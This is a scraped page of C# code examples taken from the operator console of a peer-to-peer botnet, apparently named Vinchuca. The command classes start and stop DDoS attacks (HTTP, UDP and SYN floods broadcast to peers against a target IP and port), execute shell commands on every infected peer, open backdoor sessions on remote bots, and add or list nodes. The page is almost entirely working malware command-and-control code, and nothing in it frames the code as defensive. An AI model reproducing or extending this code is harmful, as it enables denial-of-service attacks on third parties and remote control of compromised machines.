Exemple #1
0
 public DDoSStopCommand(Agent agent, CommandLineReader repl)
     : base("ddos-stop", "Stops an ongoing DDOS attack.")
 {
     _agent = agent;
     _repl = repl;
     Options = new OptionSet() {
         "usage: ddos-stop sessionid",
         "",
         "Stops an ongoing DDOS attack identified by its sessionid",
         "eg: ddos-stop 2343256490123552",
         { "help|h|?","Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("ddos-stop");
 }
Exemple #2
0
 public ExecuteCommand(Agent agent, CommandLineReader repl)
     : base("execute", "Execute a shell command in all the peers")
 {
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: execute command",
         "",
         "Execute a shell command in all the peers. It doesn't return the output.",
         "eg: execute copy ~my.tmp c:\\Program Files (x86)\\Notepad++\\unistall.exe",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("execute");
 }
 public BackdoorCommand(Agent agent, CommandLineReader repl)
     : base("backdoor", "Opens a session with a remote agent to execute commands.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: backdoor <identifier>",
         "",
         "Opens a session with a remote agent to execute shell commands.",
         "eg: backdoor 028d9a9a9b76a755f6262409d86c7e05",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("backdoor");
 }
Exemple #4
0
 public DebugCommand(Agent agent, CommandLineReader repl)
     : base("debug", "Allows to perform diagnostic tasks")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: debug command",
         "",
         "Execute diagnostic commands.",
         "eg: debug get-peer-list",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null }
     };
     _repl.AddAutocompletionWords("debug", "get-peer-list", "clear-peer-list");
 }
Exemple #5
0
 public AddNodeCommand(Agent agent, CommandLineReader repl)
     : base("add-node", "Add node and connect to it.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: add-node endpoint",
         "",
         "Tries to connect to a bot in the specified endpoint (ipaddress:port).",
         "eg: add-node 78.13.81.9:8080",
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("add-node", "127.0.0.1");
 }
Exemple #6
0
 public override int Invoke(IEnumerable <string> args)
 {
     try
     {
         var extra = Options.Parse(args);
         if (ShowHelp)
         {
             Options.WriteOptionDescriptions(CommandSet.Out);
             return(0);
         }
         if (extra.Count == 0)
         {
             Console.WriteLine("commands: Missing required argument `command`.");
             Console.WriteLine("commands: Use `help debug` for details.");
             return(1);
         }
         var cmd = extra[0];
         if (cmd == "get-peer-list")
         {
             foreach (var info in _agent.PeerList)
             {
                 Console.WriteLine("{0,-54}{1,-26}{2,4}{3,10}", info,
                                   info.LastSeen.ToLocalTime(),
                                   info.Reputation,
                                   Convert.ToBase64String(info.EncryptionKey).Substring(0, 8));
                 _repl.AddAutocompletionWords(info.BotId.ToString());
             }
             Console.WriteLine();
         }
         else if (cmd == "clear-peer-list")
         {
             _agent.PeerList.Clear();
         }
         else if (cmd == "version")
         {
             Console.WriteLine();
             Console.WriteLine("Agent version      : {0}", _agent.Version);
             Console.WriteLine("Config file version: {0}", _agent.ConfigVersion);
             Console.WriteLine();
         }
         return(0);
     }
     catch (Exception e)
     {
         // _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
         return(1);
     }
 }
Exemple #7
0
 public DDoSStartCommand(Agent agent, CommandLineReader repl)
     : base("ddos-start", "Perform DDOS attack against specified target.")
 {
     _agent  = agent;
     _repl   = repl;
     Options = new OptionSet()
     {
         "usage: ddos-start --type:attack-type --target:ipaddress:port",
         "",
         "Performs a DDoS attack against the specified target ip:port endpoint.",
         "eg: ddos --type:httpflood --target:212.54.13.87:80",
         { "type=", "{type} of attack [httpflood | udpflood | tcpsynflood].", x => Type = x },
         { "target=", "{target} to attack (ipaddress:port endpoint)", x => Target = x },
         { "help|h|?", "Show this message and exit.", v => ShowHelp = v != null },
     };
     _repl.AddAutocompletionWords("ddos-start", "--type", "--target", "synflood", "udpflood", "httpflood");
 }
Exemple #8
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (string.IsNullOrEmpty(Target))
                {
                    Console.WriteLine("commands: Missing required argument `--target=TARGET`.");
                    Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }
                if (string.IsNullOrEmpty(Type))
                {
                    Console.WriteLine("commands: Missing required argument `--typet=TYPE`.");
                    Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }

                DosType type;
                switch (Type)
                {
                case "httpflood":
                    type = DosType.HttpFlood;
                    break;

                case "synflood":
                    type = DosType.SynFlood;
                    break;

                case "udpflood":
                    type = DosType.UdpFlood;
                    break;

                default:
                    Console.WriteLine("commands: Invalid attack type.");
                    Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }
                var endpointParts = Target.Split(':');
                var ip            = endpointParts[0];
                var port          = int.Parse(endpointParts[1]);
                var session       = (ulong)Vinchuca.Utils.RandomUtils.NextCorrelationId();
                var ddosMessage   = new DosAttackMessage()
                {
                    AttackId = session,
                    Type     = type,
                    Threads  = short.Parse(Threads),
                    Target   = new IPEndPoint(IPAddress.Parse(ip), port),
                    Buffer   = Encoding.ASCII.GetBytes(Buffer)
                };
                _agent.MessagesManager.Broadcast(ddosMessage, 6);
                Console.WriteLine($"Attack sessionID {session}");
                Console.WriteLine($"Stop it using ´ddos-stop {session}´");
                _repl.AddAutocompletionWords(session.ToString());
                return(0);
            }
            catch (Exception e)
            {
                //_repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }